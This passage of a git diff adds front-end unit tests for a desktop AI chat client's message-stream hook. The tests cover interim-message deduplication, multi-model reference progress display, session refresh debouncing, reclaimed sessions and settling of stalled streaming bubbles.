+  it('clears interimBoundaryPending at turn end so the next turn starts clean', async () => {
+    await mountStream()
+    await start()
+
+    await delta('interim text')
+    await interim('interim text')
+    await complete('final text')
+
+    expect(getState().interimBoundaryPending).toBe(false)
+
+    await start()
+    expect(getState().interimBoundaryPending).toBe(false)
+
+    await complete('new turn final')
+
+    const texts = assistantMessages()
+    expect(texts[texts.length - 1]).toBe('new turn final')
+  })
+
+  it('finalizes an interim segment without settling the turn', async () => {
+    await mountStream()
+    await start()
+
+    await delta('streaming text')
+    await interim('streaming text')
+
+    // Turn is still active — busy stays true
+    expect(getState().busy).toBe(true)
+    expect(getState().interimBoundaryPending).toBe(true)
+  })
+
+  it('settles an identical final onto a non-previewed interim (tool-call turn) instead of duplicating (#63679)', async () => {
+    await mountStream()
+    await start()
+
+    // A plain tool-call turn: the streamed text is sealed as an interim at the
+    // tool boundary (no response_previewed — that flag is only for verify-on-
+    // stop). The final completion is the SAME turn's reply. It must settle onto
+    // the interim, not append a second bubble — the DB has one row. This is the
+    // "renders twice" bug: partial streamed copy + clean final copy side by side.
+    await interim('same reply')
+    await complete('same reply')
+
+    const texts = assistantMessages()
+    expect(texts.filter(t => t === 'same reply')).toHaveLength(1)
+  })
+
+  it('settles a prefix-extended final onto a non-previewed interim (streamed + trailing delta)', async () => {
+    await mountStream()
+    await start()
+
+    // The stream dropped/settled early at the tool boundary; the final adds a
+    // trailing delta. Same turn — one bubble with the full final text.
+    await delta('partial')
+    await interim('partial')
+    await complete('partial answer continued')
+
+    const texts = assistantMessages()
+    expect(texts.filter(t => t.includes('partial'))).toHaveLength(1)
+    expect(texts[0]).toBe('partial answer continued')
+  })
+
+  it('appends a genuinely different final as its own bubble (two real assistant segments)', async () => {
+    await mountStream()
+    await start()
+
+    // The interim is one segment (pre-tool commentary); the final is different
+    // content, not a continuation of it. These are two real messages and must
+    // both render — the fix must not over-collapse distinct replies.
+    await interim('let me check the files')
+    await complete('the answer is 42')
+
+    const texts = assistantMessages()
+    expect(texts).toContain('let me check the files')
+    expect(texts).toContain('the answer is 42')
+    expect(texts).toHaveLength(2)
+  })
+
+  it('settles an identical final completion onto the interim when response_previewed', async () => {
+    await mountStream()
+    await start()
+
+    await interim('same reply')
+    await completePreviewed('same reply')
+
+    // With response_previewed, the final text is the same model response
+    // that was published provisionally as an interim — settle onto the
+    // existing interim instead of creating a duplicate. (#65919 review)
+    const texts = assistantMessages()
+    expect(texts.filter(t => t === 'same reply')).toHaveLength(1)
+  })
+
+  it('settles a prefix-matched final onto the interim when response_previewed', async () => {
+    await mountStream()
+    await start()
+
+    // Interim text is a PREFIX of the final — the model streamed part of
+    // its answer before the verify nudge fired, then the final includes
+    // the same text plus a trailing delta.
+    await interim('partial answer')
+    await completePreviewed('partial answer with more detail')
+
+    // Prefix match: the final starts with the interim text, so settle
+    // onto the interim instead of creating a duplicate bubble.
+    const texts = assistantMessages()
+    expect(texts.filter(t => t.includes('partial answer'))).toHaveLength(1)
+    expect(texts[0]).toBe('partial answer with more detail')
+  })
+
+  it('dedupes partial-stream-then-nudge: streamed prefix + interim + previewed final settles to one bubble', async () => {
+    await mountStream()
+    await start()
+
+    // The model streamed part of its answer via message.delta, then the
+    // verify nudge fired. The interim seals the streamed text, then the
+    // final response is the same text plus a trailing delta.
+    await delta('partial streamed')
+    await interim('partial streamed')
+    await completePreviewed('partial streamed answer continued')
+
+    // One bubble, containing the full final text — not two.
+    const texts = assistantMessages()
+    expect(texts.filter(t => t.includes('partial streamed'))).toHaveLength(1)
+    expect(texts[0]).toBe('partial streamed answer continued')
+  })
+
+  it('ignores malformed message.interim payload', async () => {
+    await mountStream()
+    await start()
+
+    // No payload at all
+    await act(() => handleEvent!({ type: 'message.interim' } as RpcEvent))
+    // Empty text
+    await act(() => handleEvent!({ payload: { text: '' }, session_id: SID, type: 'message.interim' } as RpcEvent))
+    // Undefined text
+    await act(() =>
+      handleEvent!({ payload: { text: undefined }, session_id: SID, type: 'message.interim' } as RpcEvent)
+    )
+
+    // Turn continues without finalizing or throwing
+    expect(getState().busy).toBe(true)
+    expect(getState().interimBoundaryPending).toBe(false)
+  })
+
+  it('clears interimBoundaryPending on message.start', async () => {
+    await mountStream()
+    await start()
+
+    await delta('interim text')
+    await interim('interim text')
+    expect(getState().interimBoundaryPending).toBe(true)
+
+    // New turn starts
+    await start()
+    expect(getState().interimBoundaryPending).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/moa-progress-event.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/moa-progress-event.test.tsx
new file mode 100644
index 000000000..cb7ec50fc
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/moa-progress-event.test.tsx
@@ -0,0 +1,123 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let latestState: ClientSessionState | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+      latestState = next
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+function emit(type: RpcEvent['type'], payload: RpcEvent['payload'] = {}) {
+  act(() => handleEvent!({ payload, session_id: SID, type }))
+}
+
+function reasoningText(): string {
+  const message = latestState?.messages.at(-1)
+  const part = message?.parts.find(p => p.type === 'reasoning')
+
+  return part?.type === 'reasoning' ? part.text : ''
+}
+
+beforeEach(() => {
+  handleEvent = null
+  latestState = null
+})
+
+afterEach(() => {
+  cleanup()
+  vi.restoreAllMocks()
+})
+
+describe('useMessageStream moa.progress / moa.phase surfacing', () => {
+  it('shows refs k/n lines in the reasoning block as references complete', async () => {
+    await mountStream()
+
+    emit('message.start')
+    emit('moa.progress', { label: 'model-a', refs_done: 1, refs_total: 3 })
+    emit('moa.progress', { label: 'model-b', refs_done: 2, refs_total: 3 })
+
+    const text = reasoningText()
+    expect(text).toContain('MoA refs 1/3 — model-a')
+    expect(text).toContain('MoA refs 2/3 — model-b')
+  })
+
+  it('restarts the progress block on the first ref of a new fan-out', async () => {
+    await mountStream()
+
+    emit('message.start')
+    emit('moa.progress', { label: 'stale', refs_done: 1, refs_total: 2 })
+    emit('moa.progress', { label: 'stale-2', refs_done: 2, refs_total: 2 })
+    // A later turn's fan-out starts over at 1/N — old lines must not linger.
+    emit('moa.progress', { label: 'fresh', refs_done: 1, refs_total: 2 })
+
+    const text = reasoningText()
+    expect(text).toContain('MoA refs 1/2 — fresh')
+    expect(text).not.toContain('stale')
+  })
+
+  it('appends the aggregating marker on moa.phase and ignores unknown phases', async () => {
+    await mountStream()
+
+    emit('message.start')
+    emit('moa.progress', { label: 'model-a', refs_done: 1, refs_total: 1 })
+    emit('moa.phase', { phase: 'reference', refs_done: 1, refs_total: 1 })
+    expect(reasoningText()).not.toContain('aggregating')
+
+    emit('moa.phase', { aggregator: 'agg-model', phase: 'aggregator', refs_done: 1, refs_total: 1 })
+    expect(reasoningText()).toContain('MoA aggregating…')
+  })
+
+  it('a following moa.reference replaces the progress trail (self-cleaning)', async () => {
+    await mountStream()
+
+    emit('message.start')
+    emit('moa.progress', { label: 'model-a', refs_done: 1, refs_total: 1 })
+    emit('moa.phase', { phase: 'aggregator', refs_done: 1, refs_total: 1 })
+    emit('moa.reference', { count: 1, index: 1, label: 'model-a', text: 'advice-a' })
+
+    const text = reasoningText()
+    expect(text).toContain('Reference 1/1 — model-a')
+    expect(text).not.toContain('MoA refs')
+    expect(text).not.toContain('aggregating')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/moa-reference-event.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/moa-reference-event.test.tsx
new file mode 100644
index 000000000..6ea91323b
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/moa-reference-event.test.tsx
@@ -0,0 +1,114 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+const SID = 'session-1'
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let latestState: ClientSessionState | null = null
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+      latestState = next
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+function emit(type: RpcEvent['type'], payload: RpcEvent['payload'] = {}) {
+  act(() => handleEvent!({ payload, session_id: SID, type }))
+}
+
+function reasoningText(): string {
+  const message = latestState?.messages.at(-1)
+  const part = message?.parts.find(p => p.type === 'reasoning')
+
+  return part?.type === 'reasoning' ? part.text : ''
+}
+
+describe('useMessageStream moa.reference accumulation (#64658)', () => {
+  beforeEach(() => {
+    handleEvent = null
+    latestState = null
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('keeps every reference model labelled block instead of only the latest one', async () => {
+    await mountStream()
+
+    emit('moa.reference', { count: 2, index: 1, label: 'model-a', text: 'advice-a' })
+    emit('moa.reference', { count: 2, index: 2, label: 'model-b', text: 'advice-b' })
+
+    const text = reasoningText()
+
+    expect(text).toContain('model-a')
+    expect(text).toContain('advice-a')
+    expect(text).toContain('model-b')
+    expect(text).toContain('advice-b')
+  })
+
+  it('handles a single-reference MoA turn (count=1) without regression', async () => {
+    await mountStream()
+
+    emit('moa.reference', { count: 1, index: 1, label: 'model-a', text: 'only-advice' })
+
+    const text = reasoningText()
+
+    expect(text).toContain('model-a')
+    expect(text).toContain('only-advice')
+  })
+
+  it('accumulates three or more references in order', async () => {
+    await mountStream()
+
+    emit('moa.reference', { count: 3, index: 1, label: 'model-a', text: 'advice-a' })
+    emit('moa.reference', { count: 3, index: 2, label: 'model-b', text: 'advice-b' })
+    emit('moa.reference', { count: 3, index: 3, label: 'model-c', text: 'advice-c' })
+
+    const text = reasoningText()
+
+    const orderOk =
+      text.indexOf('advice-a') < text.indexOf('advice-b') && text.indexOf('advice-b') < text.indexOf('advice-c')
+
+    expect(text).toContain('advice-a')
+    expect(text).toContain('advice-b')
+    expect(text).toContain('advice-c')
+    expect(orderOk).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/session-info-side-effects.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/session-info-side-effects.test.tsx
new file mode 100644
index 000000000..414085f39
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/session-info-side-effects.test.tsx
@@ -0,0 +1,158 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { modelOptionsQueryKey } from '@/lib/model-options'
+import { setCurrentModel, setCurrentProvider } from '@/store/session'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+// Per-turn REST amplification guards: session.info must not refetch config for
+// background sessions nor invalidate the model-options catalog when the model
+// string is merely PRESENT (the backend stamps it on every event) rather than
+// actually changed. message.complete must coalesce sidebar refreshes.
+
+const ACTIVE_SID = 'session-active'
+const ACTIVE_PROFILE = 'compass'
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let refreshClawCodexConfig: ReturnType<typeof vi.fn<() => Promise<void>>>
+let refreshSessions: ReturnType<typeof vi.fn<() => Promise<void>>>
+let queryClient: QueryClient
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(ACTIVE_SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+
+  const stream = useMessageStream({
+    activeGatewayProfile: ACTIVE_PROFILE,
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient,
+    refreshClawCodexConfig,
+    refreshSessions,
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+const sessionInfo = (sessionId: string, payload: Record<string, unknown>) =>
+  act(() => handleEvent!({ payload, session_id: sessionId, type: 'session.info' }))
+
+beforeEach(() => {
+  handleEvent = null
+  refreshClawCodexConfig = vi.fn<() => Promise<void>>(async () => undefined)
+  refreshSessions = vi.fn<() => Promise<void>>(async () => undefined)
+  queryClient = new QueryClient()
+  setCurrentModel('')
+  setCurrentProvider('')
+})
+
+afterEach(() => {
+  cleanup()
+  setCurrentModel('')
+  setCurrentProvider('')
+  vi.useRealTimers()
+  vi.restoreAllMocks()
+})
+
+describe('session.info config refetch gating', () => {
+  it('coalesces active-session bursts into one trailing config fetch', async () => {
+    // Mount under real timers (waitFor), then freeze time for the debounce.
+    await mountStream()
+    vi.useFakeTimers()
+
+    sessionInfo(ACTIVE_SID, { model: 'm1', running: true })
+    sessionInfo(ACTIVE_SID, { model: 'm1', running: false })
+    sessionInfo(ACTIVE_SID, { model: 'm1', title: 't' })
+
+    expect(refreshClawCodexConfig).not.toHaveBeenCalled()
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(400)
+    })
+
+    expect(refreshClawCodexConfig).toHaveBeenCalledTimes(1)
+  })
+
+  it('never fetches config for a background session heartbeat', async () => {
+    await mountStream()
+    vi.useFakeTimers()
+
+    sessionInfo('session-background', { model: 'm1', running: true })
+    sessionInfo('session-background', { model: 'm1', running: false })
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(400)
+    })
+
+    expect(refreshClawCodexConfig).not.toHaveBeenCalled()
+  })
+})
+
+describe('session.info model-options invalidation gating', () => {
+  it('skips invalidation when model/provider merely restate the known values', async () => {
+    await mountStream()
+    const invalidate = vi.spyOn(queryClient, 'invalidateQueries')
+
+    // Seed the session's cached runtime state.
+    sessionInfo(ACTIVE_SID, { model: 'm1', provider: 'p1', running: true })
+    invalidate.mockClear()
+
+    // Turn-end heartbeat restating the same model/provider — the pre-fix path
+    // invalidated (and refetched the provider catalog) on every one of these.
+    sessionInfo(ACTIVE_SID, { model: 'm1', provider: 'p1', running: false })
+
+    expect(invalidate).not.toHaveBeenCalled()
+  })
+
+  it('invalidates when the session model actually changes', async () => {
+    await mountStream()
+    const invalidate = vi.spyOn(queryClient, 'invalidateQueries')
+
+    sessionInfo(ACTIVE_SID, { model: 'm1', provider: 'p1', running: true })
+    invalidate.mockClear()
+
+    sessionInfo(ACTIVE_SID, { model: 'm2', provider: 'p1', running: true })
+
+    expect(invalidate).toHaveBeenCalledWith({ queryKey: modelOptionsQueryKey(ACTIVE_PROFILE, ACTIVE_SID) })
+  })
+})
+
+describe('message.complete sidebar refresh coalescing', () => {
+  it('collapses near-simultaneous completions into one refresh', async () => {
+    await mountStream()
+    vi.useFakeTimers()
+
+    act(() => handleEvent!({ payload: { text: 'a' }, session_id: 's1', type: 'message.complete' }))
+    act(() => handleEvent!({ payload: { text: 'b' }, session_id: 's2', type: 'message.complete' }))
+
+    expect(refreshSessions).not.toHaveBeenCalled()
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(400)
+    })
+
+    expect(refreshSessions).toHaveBeenCalledTimes(1)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/session-reclaimed.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/session-reclaimed.test.tsx
new file mode 100644
index 000000000..a5e891644
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/session-reclaimed.test.tsx
@@ -0,0 +1,125 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $sessionStates, publishSessionState } from '@/store/session-states'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { useMessageStream } from './index'
+
+// `session.reclaimed`: the backend tore down a live session we're still
+// holding (idle TTL, LRU cap, WS-orphan reap). Before this event the runtime id
+// stayed cached until something failed against it, which read to the user as
+// the session vanishing rather than being reclaimed.
+
+const ACTIVE_SID = 'session-active'
+const ACTIVE_PROFILE = 'compass'
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let queryClient: QueryClient
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(ACTIVE_SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+
+  const stream = useMessageStream({
+    activeGatewayProfile: ACTIVE_PROFILE,
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient,
+    refreshClawCodexConfig: vi.fn<() => Promise<void>>(async () => undefined),
+    refreshSessions: vi.fn<() => Promise<void>>(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountStream() {
+  render(<Harness />)
+  await waitFor(() => expect(handleEvent).not.toBeNull())
+}
+
+const reclaim = (sessionId: string, reason = 'ws_orphan_reap') =>
+  act(() =>
+    handleEvent!({
+      payload: { reason, session_id: sessionId, stored_session_id: 'stored-1' },
+      session_id: '',
+      type: 'session.reclaimed'
+    } as RpcEvent)
+  )
+
+beforeEach(() => {
+  handleEvent = null
+  queryClient = new QueryClient()
+  $sessionStates.set({})
+})
+
+afterEach(() => {
+  cleanup()
+  $sessionStates.set({})
+  vi.restoreAllMocks()
+})
+
+describe('session.reclaimed', () => {
+  it('drops the cached state for the reclaimed runtime', async () => {
+    await mountStream()
+    publishSessionState('live-gone', createClientSessionState())
+    expect($sessionStates.get()['live-gone']).toBeDefined()
+
+    reclaim('live-gone')
+
+    expect($sessionStates.get()['live-gone']).toBeUndefined()
+  })
+
+  it('leaves every other live session alone', async () => {
+    await mountStream()
+    publishSessionState('live-gone', createClientSessionState())
+    publishSessionState('live-kept', createClientSessionState())
+
+    reclaim('live-gone')
+
+    // Both halves matter: the target went, the bystander stayed. Asserting
+    // only the survivor would pass with no handler at all.
+    expect($sessionStates.get()['live-gone']).toBeUndefined()
+    expect($sessionStates.get()['live-kept']).toBeDefined()
+  })
+
+  it('ignores a payload with no runtime id instead of clearing everything', async () => {
+    await mountStream()
+    publishSessionState('live-a', createClientSessionState())
+    publishSessionState('live-b', createClientSessionState())
+
+    reclaim('')
+
+    // A malformed/empty id must be a no-op, never a blanket wipe.
+    expect(Object.keys($sessionStates.get()).sort()).toEqual(['live-a', 'live-b'])
+  })
+
+  it('drops the runtime regardless of which reclaim reason fired', async () => {
+    for (const reason of ['idle_timeout', 'lru_evict', 'ws_orphan_reap']) {
+      $sessionStates.set({})
+      cleanup()
+      handleEvent = null
+      await mountStream()
+      publishSessionState('live-gone', createClientSessionState())
+
+      reclaim('live-gone', reason)
+
+      expect($sessionStates.get()['live-gone'], reason).toBeUndefined()
+    }
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/stale-pending-settle.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/stale-pending-settle.test.tsx
new file mode 100644
index 000000000..a1a06c336
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/stale-pending-settle.test.tsx
@@ -0,0 +1,128 @@
+// A turn that ends WITHOUT its message.complete (turn crash, reconnect gap,
+// steer race) used to leave its streaming bubble pending:true forever. The
+// next user message then landed after it, stranding a live thinking indicator
+// mid-transcript — the dither block anywhere but the tail. session.info
+// running=false is the turn's finally-block signal and the only settle edge
+// those paths still emit, so it must finalize the bubble.
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { STREAM_DELTA_FLUSH_MS } from './utils'
+
+import { useMessageStream } from './index'
+
+const SID = 'stale-pending-session'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let states: Map<string, ClientSessionState>
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+    states = sessionStateByRuntimeIdRef.current
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+async function mountHarness() {
+  vi.useFakeTimers()
+  render(<Harness />)
+  await act(async () => {
+    await Promise.resolve()
+  })
+}
+
+const flushDeltas = async () => {
+  await act(async () => {
+    await vi.advanceTimersByTimeAsync(STREAM_DELTA_FLUSH_MS)
+  })
+}
+
+const emit = (event: RpcEvent) => act(() => handleEvent?.(event))
+
+describe('turn end without message.complete (session.info running=false)', () => {
+  beforeEach(() => {
+    handleEvent = null
+    states = new Map()
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it('settles a streaming bubble that kept text', async () => {
+    await mountHarness()
+
+    emit({ session_id: SID, type: 'message.start', payload: {} })
+    emit({ payload: { text: 'partial answer' }, session_id: SID, type: 'message.delta' })
+    await flushDeltas()
+
+    expect(states.get(SID)?.messages.at(-1)?.pending).toBe(true)
+
+    emit({ payload: { running: false }, session_id: SID, type: 'session.info' })
+
+    const state = states.get(SID)
+    const tail = state?.messages.at(-1)
+
+    expect(tail?.role).toBe('assistant')
+    expect(tail?.pending).toBe(false)
+    expect(tail?.parts).toEqual([{ type: 'text', text: 'partial answer' }])
+    expect(state?.streamId).toBeNull()
+    expect(state?.busy).toBe(false)
+  })
+
+  it('drops an empty streaming placeholder instead of stranding it', async () => {
+    await mountHarness()
+
+    emit({ session_id: SID, type: 'message.start', payload: {} })
+    // A tool row seeds the bubble but no text ever arrives.
+    emit({
+      payload: { args: { command: 'true' }, name: 'terminal', tool_id: 't1' },
+      session_id: SID,
+      type: 'tool.start'
+    })
+    emit({
+      payload: { name: 'terminal', result: 'ok', tool_id: 't1' },
+      session_id: SID,
+      type: 'tool.complete'
+    })
+
+    emit({ payload: { running: false }, session_id: SID, type: 'session.info' })
+
+    const state = states.get(SID)
+
+    // Same math as Stop: an empty-text placeholder is dropped, nothing stays
+    // pending, and the stream binding is released.
+    expect(state?.messages.every(message => !message.pending)).toBe(true)
+    expect(state?.streamId).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/stream-flush.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/stream-flush.test.tsx
new file mode 100644
index 000000000..2843d52ba
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/stream-flush.test.tsx
@@ -0,0 +1,96 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClientSessionState } from '@/app/types'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import type { RpcEvent } from '@/types/clawcodex'
+
+import { STREAM_DELTA_FLUSH_MS } from './utils'
+
+import { useMessageStream } from './index'
+
+const SID = 'stream-session'
+
+let handleEvent: ((event: RpcEvent) => void) | null = null
+let states: Map<string, ClientSessionState>
+
+function Harness() {
+  const activeSessionIdRef = useRef<string | null>(SID)
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const queryClientRef = useRef(new QueryClient())
+
+  const stream = useMessageStream({
+    activeSessionIdRef,
+    hydrateFromStoredSession: vi.fn(async () => undefined),
+    queryClient: queryClientRef.current,
+    refreshClawCodexConfig: vi.fn(async () => undefined),
+    refreshSessions: vi.fn(async () => undefined),
+    sessionStateByRuntimeIdRef,
+    updateSessionState: (sessionId, updater) => {
+      const current = sessionStateByRuntimeIdRef.current.get(sessionId) ?? createClientSessionState()
+      const next = updater(current)
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+
+      return next
+    }
+  })
+
+  useEffect(() => {
+    handleEvent = stream.handleGatewayEvent
+    states = sessionStateByRuntimeIdRef.current
+  }, [stream.handleGatewayEvent])
+
+  return null
+}
+
+describe('stream delta delivery', () => {
+  beforeEach(() => {
+    handleEvent = null
+    states = new Map()
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.useRealTimers()
+    vi.restoreAllMocks()
+  })
+
+  it('delivers a delta while animation frames are parked', async () => {
+    // An Electron renderer the compositor has parked: rAF accepts the callback
+    // but never runs it. A frame-gated flush strands the answer here until some
+    // later focus/input event wakes a frame.
+    const rafSpy = vi.spyOn(window, 'requestAnimationFrame').mockImplementation(() => 1)
+    vi.useFakeTimers()
+
+    render(<Harness />)
+    await act(async () => {
+      await Promise.resolve()
+    })
+
+    // Reach the frame-gated branch: it is only taken once the coalescing floor
+    // has already elapsed since the previous flush. Send one delta, let it
+    // flush, then idle past the floor so the NEXT delta schedules immediately.
+    act(() => handleEvent?.({ payload: { text: 'first ' }, session_id: SID, type: 'message.delta' }))
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(STREAM_DELTA_FLUSH_MS)
+    })
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(STREAM_DELTA_FLUSH_MS * 2)
+    })
+
+    act(() => handleEvent?.({ payload: { text: 'and the rest' }, session_id: SID, type: 'message.delta' }))
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(STREAM_DELTA_FLUSH_MS)
+    })
+
+    expect(states.get(SID)?.messages.at(-1)?.parts).toEqual([{ type: 'text', text: 'first and the rest' }])
+    // The flush must not have depended on a frame: this mock parks every rAF
+    // callback, yet the text arrived. runFlush still registers its
+    // adaptive-floor measurement callback here; that one is allowed to wait
+    // for a frame that may never come.
+    expect(rafSpy).toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-message-stream/terminal-error-frame.test.tsx b/ui-desktop/src/app/session/hooks/use-message-stream/terminal-error-frame.test.tsx
new file mode 100644
index 000000000..223bf6d5f
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-message-stream/terminal-error-frame.test.tsx
@@ -0,0 +1,119 @@
+import { QueryClient } from '@tanstack/react-query'
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import { useEffect, useRef } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
